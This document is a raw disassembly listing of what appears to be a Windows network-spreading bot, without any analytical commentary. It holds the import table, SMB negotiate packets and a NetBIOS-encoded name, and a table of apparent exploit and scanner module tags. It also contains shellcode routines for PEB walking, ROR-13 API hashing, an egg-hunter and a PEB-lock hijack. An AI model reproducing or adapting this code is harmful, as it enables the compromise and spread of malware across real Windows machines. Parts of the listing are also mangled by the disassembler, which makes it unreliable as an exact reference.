dword_438258	dd 19930520h, 14h, 4381B8h, 4 dup(0)		dd 0FFFFFFFFh, 436424h,	0
		dd offset loc_43642F
		dd 1, 436437h, 2, 43643Fh, 3, 43644Ah, 4, 436455h, 5, 436460h
		dd 6, 436468h, 7, 436473h, 8, 43647Bh, 8, 436486h, 8, 436491h
		dd 7, 43649Ch, 0Ch, 4364A7h, 7,	4364A7h, 0Eh, 4364B2h
		dd 0Fh,	4364BDh, 0Eh, 4364C8h, 11h, 4364D3h, 0Eh, 4364D3h
		dd 13h,	4364DEh, 7, 4364E9h, 15h, 4364F4h, 7, 4364F4h
		dd 17h,	4364FFh, 18h, 43650Ah, 17h, 436515h, 1Ah, 436520h
		dd 17h,	436520h, 1Ch, 43652Bh, 7, 436536h, 1Eh,	436541h
		dd 7, 436541h, 20h, 43654Ch, 21h, 436557h, 20h,	436562h
		dd 23h,	43656Dh, 20h, 43656Dh, 25h, 436578h, 7,	436583h
		dd 27h,	43658Eh, 7, 43658Eh, 29h, 436599h, 2Ah,	4365A4h
		dd 29h,	4365AFh, 2Ch, 4365BAh, 29h, 4365BAh, 2Eh, 4365C5h
dword_4383F4	dd 19930520h, 30h, 438274h, 5 dup(0)		dd offset off_447384
		dd 0
		dd 0FFFFFFFFh, 0
		dd 0Ch,	42B9D1h, 0
		dd offset off_44739C
		align 8
		dd 0FFFFFFFFh, 0
		dd 1Ch,	41B332h, 0
		dd offset off_4473BC
		dd 0
		dd 0FFFFFFFFh, 0
dword_43845C	dd 1Ch,	41B400h, 3, 438448h, 43842Ch, 438410hdword_438474	dd 0							; sub_41B3C7+12o ...
		dd offset sub_41B38A
		align 10h
		dd offset dword_43845C+8
		dd 0FFFFFFFFh, 4365DCh
dword_43848C	dd 19930520h, 1, 438484h, 4 dup(0)		dd 0FFFFFFFFh, 4365F0h
dword_4384B0	dd 19930520h, 1, 4384A8h, 4 dup(0)dword_4384CC	dd 2, 43842Ch, 438410hdword_4384D8	dd 0				dd offset sub_41B2D9
		dd 0
		dd offset dword_4384CC
		dd 0FFFFFFFFh, 436604h
dword_4384F0	dd 19930520h, 1, 4384E8h, 4 dup(0)		dd 0FFFFFFFFh, 436618h
dword_438514	dd 19930520h, 1, 43850Ch, 4 dup(0)		dd 0FFFFFFFFh, 43662Ch
dword_438538	dd 19930520h, 1, 438530h, 4 dup(0)		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 4 dup(0)
		dd offset loc_41B851
		dd 2 dup(0)
		dd 2 dup(1), 438564h
dword_438588	dd 19930520h, 2, 438554h, 1, 438574h, 2	dup(0)
					; DATA XREF: .text:loc_436640o
		dd 0FFFFFFFFh, 43664Ch
dword_4385AC	dd 19930520h, 1, 4385A4h, 4 dup(0)		dd 0FFFFFFFFh, 436660h,	0
		dd offset loc_436668
		dd 1, 436670h, 2, 436678h
dword_4385E8	dd 19930520h, 4, 4385C8h, 6 dup(0)		dd offset off_450E00
		dd 0
		dd 0FFFFFFFFh, 0
		dd 1Ch,	4291ABh, 0
dword_438628	dd 3, 438608h, 43842Ch,	438410hdword_438638	dd 0							; sub_429172+12o
		dd offset sub_429135
		dd 0
		dd offset dword_438628
dword_438648	dd 19930520h, 1, 438668h, 5 dup(0)		dd 0FFFFFFFFh, 43668Ch
dword_438670	dd 19930520h, 1, 438690h, 5 dup(0)		dd 0FFFFFFFFh, 4366A0h
dword_438698	dd 19930520h, 1, 4386B8h, 5 dup(0)		dd 0FFFFFFFFh, 4366B4h,	0
		dd offset off_450E30
		dd 0
		dd 0FFFFFFFFh, 0
		dd 10h,	429341h, 0
dword_4386E0	dd 1, 4386C0h	dword_4386E8	dd 0				dd offset sub_42936E
		dd 0
		dd offset dword_4386E0
		dd 387F0h, 2 dup(0)
		dd 3909Ch, 37030h, 38A28h, 2 dup(0)
		dd 390FAh, 37268h, 387C0h, 2 dup(0)
		dd 391D6h, 37000h, 38A1Ch, 2 dup(0)
		dd 3920Eh, 3725Ch, 38A48h, 2 dup(0)
		dd 39228h, 37288h, 38A0Ch, 2 dup(0)
		dd 3924Ah, 3724Ch, 38AB8h, 2 dup(0)
		dd 39260h, 372F8h, 38A40h, 2 dup(0)
		dd 3928Ah, 37280h, 38A14h, 2 dup(0)
		dd 39618h, 37254h, 5 dup(0)
		dd 77DD6BF0h, 77DD761Bh, 77DDEBE7h, 77DFD4C9h, 77DD7753h
		dd 77DFD11Bh, 77DFC534h, 77DF08D5h, 77E215D9h, 77DF087Fh
		dd 77DD7883h, 0
		dd 7C80ADA0h, 7C801D77h, 7C80ABDEh, 7C80992Fh, 7C80B905h
		dd 7C809B47h, 7C80B974h, 7C80DDF5h, 7C812ADEh, 7C81CE03h
		dd 7C8312E5h, 7C801A24h, 7C831EABh, 7C8286EEh, 7C812782h
		dd 7C81153Ch, 7C80B6A1h, 7C80A0D4h, 7C810D87h, 7C802520h
		dd 7C8308ADh, 7C80180Eh, 7C80BDB6h, 7C8217ACh, 7C834D41h
		dd 7C8214E3h, 7C82C2D3h, 7C8216A4h, 7C8643B5h, 7C864230h
		dd 7C864B0Fh, 7C809920h, 7C813093h, 7C80BE01h, 7C835DCAh
		dd 7C810B8Eh, 7C810A77h, 7C835E8Fh, 7C80945Ch, 7C901005h
		dd 7C80A427h, 7C81CDDAh, 7C802367h, 7C8024A7h, 7C80E93Fh
		dd 7C83039Bh, 7C81F992h, 7C83632Dh, 7C8361EEh, 7C814EEAh
		dd 7C80D262h, 7C830D74h, 7C81AE17h, 7C85F90Fh, 7C80DDFEh
		dd 7C81E0C7h, 7C8021CCh, 7C8309E1h, 7C801E16h, 7C863F58h
		dd 7C863DE5h, 7C8098EBh, 7C80998Dh, 7C810111h, 7C831CB8h
		dd 7C831C45h, 7C821363h, 7C80A7D4h, 7C80EDD7h, 7C834EB1h
		dd 7C8137D9h, 7C85B219h, 7C812D9Fh, 7C809728h, 7C809EF1h
		dd 7C809E79h, 7C9179FDh, 7C9010EDh, 7C91188Ah, 7C80B829h
		dd 7C910331h, 7C80C058h, 7C80BAA1h, 7C80B4CFh, 7C810637h
		dd 7C809BF8h, 7C80929Ch, 7C82FA46h, 7C802442h, 7C809A51h
		dd 7C809AE4h, 7C833478h, 7C80A35Eh, 7C80D077h, 7C832044h
		dd 7C80BCCFh, 7C809E01h, 7C812641h, 7C80A490h, 7C838A0Ch
		dd 7C812F08h, 7C81CF5Bh, 7C814AE7h, 7C81DF77h, 7C8127A7h
		dd 7C809915h, 7C812E76h, 7C81DC03h, 7C84467Dh, 7C9109EDh
		dd 7C80CCA8h, 7C838DE8h, 7C862E2Ah, 7C810E51h, 7C812BB6h
		dd 7C810EF8h, 7C812F39h, 7C80CC97h, 7C809740h, 7C910340h
		dd 7C9105D4h, 7C91043Dh, 7C8350BFh, 7C80176Bh, 7C80977Ah
		dd 7C809766h, 7C8328F7h, 7C809BC5h, 7C937A40h, 7C812A09h
		dd 7C801EEEh, 7C812F1Dh, 7C8111DAh, 7C814AF2h, 0
		dd 71B2517Fh, 0
		dd 7712A63Fh, 0
		dd 7CA40EE0h, 7CAB8CB2h, 0
		dd 7E44F209h, 7E42E5C2h, 7E42F420h, 7E42F383h, 7E41A8ADh
		dd 0
		dd 76A08017h, 0
		dd 71AC0BDEh, 71AB3EA1h, 71AB4519h, 71AB2C69h, 71AB3E00h
		dd 71AB951Eh, 71AB88D3h, 71AB4FD4h, 71AB2B66h, 71AB4428h
		dd 71AB2DC0h, 71AC1028h, 71AB664Dh, 71AB3B91h, 71AB2BF4h
		dd 71AB2B66h, 71AB8769h, 71AB406Ah, 71AB428Ah, 71AB615Ah
		dd 71AB9639h, 71AB94DCh, 71AB50C8h, 71AB2BC0h, 71AB46C9h
		dd 71AB4544h, 71AB2BC0h, 0
		dd 76D6B096h, 0
		db  49h	; I
		db 3, 53h, 6Ch
		db  65h	; e
		db 65h,	70h, 0
		db 0D5h	; Õ
		db 1, 47h, 65h
aTtickcount	db 'tTickCount',0
		align 4
		db  6Bh	; k
		db 2, 4Dh, 75h
aLtibytetowidec	db 'ltiByteToWideChar',0
aI		db 'i',0
aCreatethread	db 'CreateThread',0
		align 2
		dw 175h
aGetmodulefil_0	db 'GetModuleFileNameA',0
		align 4
		dd 736C03B6h, 6D637274h, 416970h, 784500B0h, 68547469h
		dd 64616572h, 1690000h,	4C746547h, 45747361h, 726F7272h
		dd 21A0000h
aInitializecrit	db 'InitializeCriticalSectionAndSpinCount',0
aZ		db 'z',0
aDeletecritical	db 'DeleteCriticalSection',0
		dw 247h
aLeavecriticals	db 'LeaveCriticalSection',0
		align 2
aP_1		db '',0
aEntercriticals	db 'EnterCriticalSection',0
		align 2
		dw 198h
aGetprocaddress	db 'GetProcAddress',0
		align 10h
		dd 6F4C0248h, 694C6461h, 72617262h, 4179h, 724600EFh, 694C6565h
		dd 72617262h, 2520079h,	61636F4Ch, 6572466Ch, 25E0065h
		dd 5670614Dh, 4F776569h, 6C694666h, 2E0065h, 736F6C43h
		dd 6E614865h, 656C64h, 6E550365h, 5670616Dh, 4F776569h
		dd 6C694666h, 13A0065h
aGetcurrentproc	db 'GetCurrentProcess',0
		dw 1DFh
aGetversionexa	db 'GetVersionExA',0
		dw 352h
aTerminatethrea	db 'TerminateThread',0
		db  5Bh	; [
		db 3, 54h, 72h
aAnsactnamedpip	db 'ansactNamedPipe',0
aM_1		db 'M',0
aCreatefilea	db 'CreateFileA',0
		db '|',0
aDeletefilea	db 'DeleteFileA',0
		db '=',0
aCopyfilea	db 'CopyFileA',0
		db  0Eh
		db 3, 53h, 65h
aTfileattribute	db 'tFileAttributesA',0
		align 2
		dw 156h
aGetfileattribu	db 'GetFileAttributesA',0
		align 4
		db  77h	; w
		db 1, 47h, 65h
aTmodulehandlea	db 'tModuleHandleA',0
		align 4
		db  89h	; ‰
		db 3, 57h, 69h
aDechartomultib	db 'deCharToMultiByte',0
		dw 397h
aWritefile	db 'WriteFile',0
		dw 385h
aWaitforsingleo	db 'WaitForSingleObject',0
aI_0		db 'I',0
aCreateeventa	db 'CreateEventA',0
		align 4
		db 0ABh	; «
		db 2, 52h, 65h
aAdfile		db 'adFile',0
		align 10h
		db 0BFh	; ¿
		db 3, 6Ch, 73h
aTrlena		db 'trlenA',0
		align 4
aE		db 'E',0
aCreatedirector	db 'CreateDirectoryA',0
		align 10h
		db 0B0h	; °
		db 3, 6Ch, 73h
aTrcata		db 'trcatA',0
		align 4
		db  4Bh	; K
		db 1, 47h, 65h
aTdrivetypea	db 'tDriveTypeA',0
		db  6Eh	; n
		db 1, 47h, 65h
aTlogicaldrives	db 'tLogicalDriveStringsA',0
		dw 10Ch
aGetcomputern_0	db 'GetComputerNameA',0
		align 2
		dw 262h
aModule32next	db 'Module32Next',0
		align 2
		dw 260h
aModule32firs_0	db 'Module32First',0
		db 'l',0
aCreatetoolhe_0	db 'CreateToolhelp32Snapshot',0
		align 2
		dw 13Bh
aGetcurrentpr_0	db 'GetCurrentProcessId',0
		db  2Fh	; /
		db 2, 49h, 73h
aDebuggerpresen	db 'DebuggerPresent',0
		db 0B9h	; ¹
		db 3, 6Ch, 73h
aTrcpya		db 'trcpyA',0
		align 4
		retf
; ---------------------------------------------------------------------------
		db 1, 47h, 65h
aTtemppatha	db 'tTempPathA',0
		align 4
		db  10h
		db 3, 53h, 65h
aTfilepointer	db 'tFilePointer',0
		align 2
		dw 15Bh
aGetfilesize	db 'GetFileSize',0
		db  64h	; d
		db 2, 4Dh, 6Fh
aVefilea	db 'veFileA',0
aN		db 'N',0
aCreatefilemapp	db 'CreateFileMappingA',0
		align 2
		dw 29Ah
aQueryperform_1	db 'QueryPerformanceFrequency',0
		dw 299h
aQueryperform_2	db 'QueryPerformanceCounter',0
aP_2		db '¯',0
aExitprocess	db 'ExitProcess',0
		db '`',0
aCreateprocessa	db 'CreateProcessA',0
		align 4
		db 0B8h	; ¸
		db 2, 52h, 65h
aLeasemutex	db 'leaseMutex',0
		align 4
aZ_0		db 'Z',0
aCreatemutexa	db 'CreateMutexA',0
		align 4
		db  46h	; F
		db 1, 47h, 65h
aTdiskfreespace	db 'tDiskFreeSpaceExA',0
		dw 1FBh
aGlobalmemoryst	db 'GlobalMemoryStatusEx',0
		align 2
		dw 1D6h
aGettimeformata	db 'GetTimeFormatA',0
		align 4
		dd 6547013Fh, 74614474h, 726F4665h, 4174616Dh, 1B90000h
aGetsystemdirec	db 'GetSystemDirectoryA',0
		dd 6547016Ch, 636F4C74h, 49656C61h, 416F666Eh, 3B30000h
		dd 7274736Ch, 41706D63h, 1520000h
aGetexitcodepro	db 'GetExitCodeProcess',0
		align 10h
		db  87h	; ‡
		db 2, 50h, 65h
aEknamedpipe	db 'ekNamedPipe',0
aM_2		db 'Œ',0
aDuplicatehandl	db 'DuplicateHandle',0
a__1		db '_',0
aCreatepipe	db 'CreatePipe',0
		align 10h
		db 0AEh	; ®
		db 2, 52h, 65h
aAdprocessmemor	db 'adProcessMemory',0
		dd 704F027Ch, 72506E65h, 7365636Fh, 3510073h, 6D726554h
		dd 74616E69h, 6F725065h, 73736563h, 28E0000h, 636F7250h
		dd 33737365h, 78654E32h, 28C0074h, 636F7250h, 33737365h
		dd 72694632h, 7473h, 6547013Dh,	72754374h, 746E6572h, 65726854h
		dd 6461h, 6F4C024Eh, 416C6163h,	636F6C6Ch, 3BC0000h, 7274736Ch
		dd 6E797063h, 3140041h,	46746553h, 54656C69h, 656D69h
		dd 6547015Dh, 6C694674h, 6D695465h, 1E90065h
aGetwindowsdire	db 'GetWindowsDirectoryA',0
		align 2
		dw 16Bh
aGetlocaltime	db 'GetLocalTime',0
		align 2
		db 'Å',0
aFindclose	db 'FindClose',0
		db 'Ó',0
aFindnextfilea	db 'FindNextFileA',0
		db 'É',0
aFindfirstfilea	db 'FindFirstFileA',0
		align 4
		db 0BAh	; º
		db 2, 52h, 65h
aMovedirectorya	db 'moveDirectoryA',0
		align 4
aKernel32_dll_0	db 'KERNEL32.dll',0
		align 2
		db '&',0
aCharlowera	db 'CharLowerA',0
		align 4
		db 0D5h	; Õ
		db 2, 77h, 73h
aPrintfa	db 'printfA',0
		db  97h	; —
		db 1, 49h, 73h
aCharalphanumer	db 'CharAlphaNumericA',0
		dw 23Ah
aSendmessagea_0	db 'SendMessageA',0
		align 2
		dw 0FCh
aGetclassname_0	db 'GetClassNameA',0
aUser32_dll_0	db 'USER32.dll',0
		align 2
		dw 234h
aSetsecurityinf	db 'SetSecurityInfo',0
		dd 6553021Fh, 746E4574h, 73656972h, 63416E49h, 416Ch, 6547010Eh
		dd 63655374h, 74697275h, 666E4979h, 1C006Fh
aAdjusttokenp_0	db 'AdjustTokenPrivileges',0
		dw 14Dh
aLookupprivil_0	db 'LookupPrivilegeValueA',0
		dw 1AAh
aOpenprocesst_0	db 'OpenProcessToken',0
		align 2
		dw 123h
aGetusernamea_0	db 'GetUserNameA',0
		align 2
		dw 1F9h
aRegsetvaluee_0	db 'RegSetValueExA',0
		align 4
		db 0E2h	; â
		db 1, 52h, 65h
aGopenkeyexa	db 'gOpenKeyExA',0
		db 0C9h	; É
		db 1, 52h, 65h
aGclosekey	db 'gCloseKey',0
		dw 1ECh
aRegqueryvalu_0	db 'RegQueryValueExA',0
		align 2
aAdvapi32_dll_0	db 'ADVAPI32.dll',0
		align 4
		db    7
		db 1, 53h, 68h
aEllexecutea	db 'ellExecuteA',0
		db 'Ä',0
aShgetspecialfo	db 'SHGetSpecialFolderPathA',0
aShell32_dll_0	db 'SHELL32.dll',0
aA		db 'A',0
aWsasocketa_0	db 'WSASocketA',0
		align 4
aWs2_32_dll_0	db 'WS2_32.dll',0
		align 4
		db    6
		align 2
aWnetaddconne_1	db 'WNetAddConnection2A',0
aMpr_dll_0	db 'MPR.dll',0
aC		db 'C',0
aGetudptable_0	db 'GetUdpTable',0
aIphlpapi_dll_0	db 'iphlpapi.dll',0
		align 2
		dw 1Dh
aGetuserprofile	db 'GetUserProfileDirectoryA',0
		align 2
aUserenv_dll	db 'USERENV.dll',0
		dw 206h
aHeapalloc	db 'HeapAlloc',0
		dw 20Ch
aHeapfree	db 'HeapFree',0
		align 2
		dw 1D8h
aGettimezoneinf	db 'GetTimeZoneInformation',0
		align 4
		db 0BEh	; ¾
		db 1, 47h, 65h
aTsystemtime	db 'tSystemTime',0
		db  1Eh
		db 2, 49h, 6Eh
aTerlockeddecre	db 'terlockedDecrement',0
		align 10h
		db  22h	; "
		db 2, 49h, 6Eh
aTerlockedincre	db 'terlockedIncrement',0
		align 4
		dd 655202C7h, 656D7573h, 65726854h, 6461h, 6C540359h, 74655373h
		dd 756C6156h, 2CC0065h,	556C7452h, 6E69776Eh, 29D0064h
		dd 73696152h, 63784565h, 69747065h, 6E6Fh, 654701AFh, 61745374h
		dd 70757472h, 6F666E49h, 1080041h, 43746547h, 616D6D6Fh
		dd 694C646Eh, 41656Eh, 654701DEh, 72655674h, 6E6F6973h
		dd 1500000h
aGetenvironment	db 'GetEnvironmentVariableA',0
		db  0Ah
		db 2, 48h, 65h
aApdestroy	db 'apDestroy',0
		dw 208h
aHeapcreate	db 'HeapCreate',0
		align 4
		db  78h	; x
		db 3, 56h, 69h
aRtualfree	db 'rtualFree',0
		dw 375h
aVirtualalloc	db 'VirtualAlloc',0
		align 2
		dw 210h
aHeaprealloc	db 'HeapReAlloc',0
		db  2Ch	; ,
		db 2, 49h, 73h
aBadwriteptr	db 'BadWritePtr',0
		db  19h
		db 2, 49h, 6Eh
aItializecritic	db 'itializeCriticalSection',0
		db  3Eh	; >
		db 1, 47h, 65h
aTcurrentthread	db 'tCurrentThreadId',0
		align 2
		dw 356h
aTlsalloc	db 'TlsAlloc',0
		align 2
		dw 31Dh
aSetlasterror	db 'SetLastError',0
		align 2
		dw 358h
aTlsgetvalue	db 'TlsGetValue',0
		db  19h
		db 3, 53h, 65h
aThandlecount	db 'tHandleCount',0
		align 2
		dw 1B1h
aGetstdhandle	db 'GetStdHandle',0
		align 2
		dw 15Eh
aGetfiletype	db 'GetFileType',0
		db  62h	; b
		db 3, 55h, 6Eh
aHandledexcepti	db 'handledExceptionFilter',0
		align 10h
		db  3Ah	; :
		db 2, 4Ch, 43h
aMapstringa	db 'MapStringA',0
		align 10h
		db  3Bh	; ;
		db 2, 4Ch, 43h
aMapstringw	db 'MapStringW',0
		align 10h
		db  12h
		db 2, 48h, 65h
aApsize		db 'apSize',0
		align 4
		db  3Dh	; =
		db 3, 53h, 65h
aTunhandledexce	db 'tUnhandledExceptionFilter',0
		dw 32Ch
aSetstdhandle	db 'SetStdHandle',0
		align 2
		dw 0FCh
aGetcpinfo	db 'GetCPInfo',0
		dw 0F5h
aGetacp		db 'GetACP',0
		align 10h
		db  8Bh	; ‹
		db 1, 47h, 65h
aToemcp		db 'tOEMCP',0
		align 4
aA_0		db 'í',0
aFreeenvironmen	db 'FreeEnvironmentStringsA',0
aU		db 'î',0
aFreeenvironm_0	db 'FreeEnvironmentStringsW',0
		db  4Dh	; M
		db 1, 47h, 65h
aTenvironmentst	db 'tEnvironmentStrings',0
		db  4Fh	; O
		db 1, 47h, 65h
aTenvironment_0	db 'tEnvironmentStringsW',0
		align 2
		dw 1B2h
aGetstringtypea	db 'GetStringTypeA',0
		align 4
		dd 654701B5h, 72745374h, 54676E69h, 57657079h, 0E50000h
		dd 73756C46h, 6C694668h, 66754265h, 73726566h, 2290000h
		dd 61427349h, 61655264h, 72745064h, 2260000h, 61427349h
		dd 646F4364h, 72745065h, 3050000h, 45746553h, 664F646Eh
		dd 656C6946h, 340000h, 706D6F43h, 53657261h, 6E697274h
		dd 4167h, 6F430035h, 7261706Dh,	72745365h, 57676E69h, 3080000h
aSetenvironment	db 'SetEnvironmentVariableA',0
aOleaut32_dll	db 'OLEAUT32.dll',0
		align 4
		dd 276h	dup(0)
dword_43A000	dd 0				dd offset sub_405B98
		dd offset sub_418D66
		dd offset loc_42921D
dword_43A010	dd 0		dword_43A014	dd 0				dd offset sub_42B87B
		dd offset sub_42C118
		dd offset sub_432AA0
		dd offset sub_4320E6
dword_43A028	dd 0		dword_43A02C	dd 0				dd offset sub_42C1C0
dword_43A034	dd 0		dword_43A038	dd 0				dd offset sub_4320F7
dword_43A040	dd 4 dup(0)	byte_43A050	db 90h			; DATA XREF: sub_40126C+B2o
		db 42h,	90h, 42h
		db 90h
		dd offset loc_429042
		align 4
dword_43A05C	dd 10FF8h, 0	dword_43A064	dd 10FF8h	dword_43A068	dd 7FFDF020h, 0	dword_43A070	dd 424D53FFh, 72h, 0C8531800h, 3 dup(0)		dd 13370000h, 0
		dd 2006200h
aPcNetworkProgr	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWorkg	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_43A0F8	dd 424D53FFh, 73h, 0C8071800h, 3 dup(0)		dd 13370000h, 0
		dd 0FF0Ch, 0A110400h, 2	dup(0)
dword_43A128	dd 0				dd 800000D4h, 2	dup(0)
unk_43A138	db  81h	; 		; DATA XREF: sub_401766+Ao
		db 2 dup(0), 44h
aCkfdenecfdeffc	db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0
aCacacacacacaca	db ' CACACACACACACACACACACACACACACAAA',0
		dd 0
dword_43A184	dd 158h		
; =============== S U B	R O U T	I N E =======================================



sub_43A188	proc near		; DATA XREF: .text:0040181Bo
		push	ebx
		push	esi
		push	edi
		sub	sp, 80h
		mov	esi, esp
		call	sub_43A284
		push	dword ptr [esi]
		push	63D61209h
		call	sub_43A29A
		mov	[esi+8], eax
		call	sub_43A24D
		push	dword ptr [esi+4]
		push	0CA2BD06Bh
		call	sub_43A29A
		mov	[esi+0Ch], eax
		call	sub_43A1FF
		push	dword ptr [esi+4]
		push	4C0297FAh
		call	sub_43A29A
		xor	ebx, ebx
		push	410h
		push	ebx
		call	eax
		mov	ebx, eax
		push	esi
		mov	esi, [esi+10h]
		mov	edi, eax
		mov	ecx, 410h
		rep movsb
		pop	esi
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	ebx
		push	eax
		push	eax
		call	dword ptr [esi+0Ch]
		mov	eax, [esi+8]
		add	sp, 80h
		pop	edi
		pop	esi
		pop	ebx
		jmp	eax
sub_43A188	endp


; =============== S U B	R O U T	I N E =======================================



sub_43A1FF	proc near		; CODE XREF: sub_43A188+33p

var_20		= dword	ptr -20h
var_14		= dword	ptr -14h

		pusha
		call	sub_43A228
		mov	eax, [esp+20h+var_14]
		lea	ebx, [eax+7Ch]
		add	dword ptr [ebx+3Ch], 5
		add	dword ptr [ebx+28h], 1000h
		and	dword ptr [ebx+28h], 0FFFFF000h
		mov	eax, [esp+20h+var_20]
		add	esp, 14h
		push	eax
		xor	eax, eax
		retn
sub_43A1FF	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_43A228	proc near		; CODE XREF: sub_43A1FF+1p
		xor	edx, edx
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		xor	ebx, ebx
		mov	eax, 42904290h


loc_43A237:				; CODE XREF: sub_43A228+1Aj
		xor	ecx, ecx
		mov	cl, 2
		mov	edi, ebx
		repe scasd
		jz	short loc_43A244
		inc	ebx
		jmp	short loc_43A237
; ---------------------------------------------------------------------------


loc_43A244:				; CODE XREF: sub_43A228+17j
		mov	[esi+10h], edi
		pop	dword ptr fs:[edx]
		pop	eax
		popa
		retn
sub_43A228	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_43A24D	proc near		; CODE XREF: sub_43A188+1Ep
		pusha
		mov	edi, 7FFDF020h
		mov	ebx, [edi]
		mov	eax, [esi+8]
		mov	[edi], eax
		mov	edi, [edi-8]
		add	edi, 178h
		mov	ecx, edi


loc_43A265:				; CODE XREF: sub_43A24D+1Ej
		cmp	[ecx], ebx
		jz	short loc_43A26D
		mov	ecx, [ecx]
		jmp	short loc_43A265
; ---------------------------------------------------------------------------


loc_43A26D:				; CODE XREF: sub_43A24D+1Aj
		mov	edx, edi


loc_43A26F:				; CODE XREF: sub_43A24D+2Aj
		cmp	[edx+4], ebx
		jz	short loc_43A279
		mov	edx, [edx+4]
		jmp	short loc_43A26F
; ---------------------------------------------------------------------------


loc_43A279:				; CODE XREF: sub_43A24D+25j
		mov	[ecx], edx
		mov	[edx+4], ecx
		mov	byte ptr [ebx-3], 1
		popa
		retn
sub_43A24D	endp


; =============== S U B	R O U T	I N E =======================================



sub_43A284	proc near		; CODE XREF: sub_43A188+Ap
		mov	eax, ds:7FFDF00Ch
		mov	eax, [eax+1Ch]
		mov	ebx, [eax+8]
		mov	[esi], ebx
		mov	eax, [eax]
		mov	eax, [eax+8]
		mov	[esi+4], eax
		retn
sub_43A284	endp


; =============== S U B	R O U T	I N E =======================================



sub_43A29A	proc near		; CODE XREF: sub_43A188+16p
					; sub_43A188+2Bp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		pusha
		mov	ebp, [esp+20h+arg_4]
		mov	eax, [ebp+3Ch]
		mov	edx, [ebp+eax+78h]
		add	edx, ebp
		mov	ecx, [edx+18h]
		mov	ebx, [edx+20h]
		add	ebx, ebp


loc_43A2B0:				; CODE XREF: sub_43A29A+33j
		jecxz	short loc_43A2EA
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	edi, edi
		xor	eax, eax
		cld


loc_43A2BD:				; CODE XREF: sub_43A29A+2Dj
		lodsb
		cmp	al, ah
		jz	short loc_43A2C9
		ror	edi, 0Dh
		add	edi, eax
		jmp	short loc_43A2BD
; ---------------------------------------------------------------------------


loc_43A2C9:				; CODE XREF: sub_43A29A+26j
		cmp	edi, [esp+20h+arg_0]
		jnz	short loc_43A2B0
		mov	ebx, [edx+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edx+1Ch]
		add	ebx, ebp
		mov	eax, [ebx+ecx*4]
		add	eax, ebp
		mov	[esp+20h+var_4], eax
		popa
		retn	8
; ---------------------------------------------------------------------------


loc_43A2EA:				; CODE XREF: sub_43A29A:loc_43A2B0j
					; sub_43A29A:loc_43A2EAj
		jmp	short loc_43A2EA
sub_43A29A	endp

; ---------------------------------------------------------------------------
		align 10h
dword_43A2F0	dd 0F254C481h, 0FFFFhdword_43A2F8	dd 23h		dword_43A2FC	dd 60h		dword_43A300	dd 62B0606h, 2050501h, 0A0hdword_43A30C	dd 30h							; sub_401F54+7Co ...
dword_43A310	dd 0A1h		dword_43A314	dd 3		aCccc		db 'CCCC',0             ; DATA XREF: sub_40126C+153o
		align 10h


loc_43A320:				; DATA XREF: sub_40126C+E8o
		jmp	short near ptr dword_43A328
; ---------------------------------------------------------------------------
		align 8
dword_43A328	dd 0		aSSSExD		db '%s %s -> %s (Ex: %d)',0 ; DATA XREF: .text:00401911o
					; sub_403B9B+155o ...
		align 8
aD1		db 'd1',0               ; DATA XREF: sub_402675+FCo
					; sub_40A9FE+973Fo
		align 4
		dd 2 dup(0)
		db 3 dup(0)
dword_43A357	dd 33314344h						; .text:00401967r ...
		db 35h
		dd 7 dup(0)
dword_43A378	dd 87h							; sub_40A9FE+5F42r ...
off_43A37C	dd offset sub_403B9B	; DATA XREF: sub_402675+174r
dword_43A380	dd 0							; .text:00401960r ...
dword_43A384	dd 1				dd 3264h, 2 dup(0)
		dd 44000000h, 3243h, 7 dup(0)
		dd 87h,	403D84h, 0
		dd 1, 3364h, 2 dup(0)
		db 3 dup(0)
byte_43A3D7	db 44h			; DATA XREF: sub_406D7F+296o
		dd 3343h, 7 dup(0)
		dd 87h,	404134h, 0
		dd 1, 736B6Eh, 2 dup(0)
		db 3 dup(0)
byte_43A417	db 4Eh			; DATA XREF: sub_406D7F+498o
		dd 3250h, 7 dup(0)
		dd 1BDh, 4063C0h, 0
		dd 1, 656Eh, 2 dup(0)
		db 3 dup(0)
byte_43A457	db 4Eh			; DATA XREF: sub_406D7F+2F6o
		dd 3245h, 7 dup(0)
		dd 8Bh,	4066E2h, 0
		dd 1, 61h, 2 dup(0)
		dd 41000000h, 4E53h, 7 dup(0)
		dd 8Bh,	4017B8h, 0
		dd 1, 31626Eh, 2 dup(0)
		db 3 dup(0)
byte_43A4D7	db 4Eh			; DATA XREF: sub_406D7F+39Do
		dd 42h,	7 dup(0)
		dd 8Bh,	4059BFh, 2 dup(0)
		dd 32626Eh, 2 dup(0)
		dd 4E000000h, 42h, 7 dup(0)
		dd 1BDh, 4059BFh, 2 dup(0)
		dd 76h,	2 dup(0)
		dd 56000000h, 434Eh, 7 dup(0)
		dd 170Ch, 408169h, 0
		dd 1, 6276h, 2 dup(0)
		dd 56000000h, 42434Eh, 7 dup(0)
		dd 170Ch, 409645h, 0
		dd 1, 73h, 2 dup(0)
		db 3 dup(0)
off_43A5D7	dd offset byte_565253	; DATA XREF: sub_406D7F+3FDo
		align 4
		dd 7 dup(0)
		dd 1BDh, 4073A2h, 0
		dd 1, 656B77h, 2 dup(0)
		dd 57000000h, 454Bh, 7 dup(0)
		dd 8Bh,	409D5Dh, 0
		dd 1, 31656B77h, 2 dup(0)
		dd 57000000h, 31454Bh, 7 dup(0)
		dd 1BDh, 409D5Dh, 0
		dd 1, 6F6B77h, 2 dup(0)
		dd 57000000h, 4F4Bh, 7 dup(0)
		dd 8Bh,	409DF7h, 0
		dd 1, 316F6B77h, 2 dup(0)
		dd 57000000h, 314F4Bh, 7 dup(0)
		dd 1BDh, 409DF7h, 0
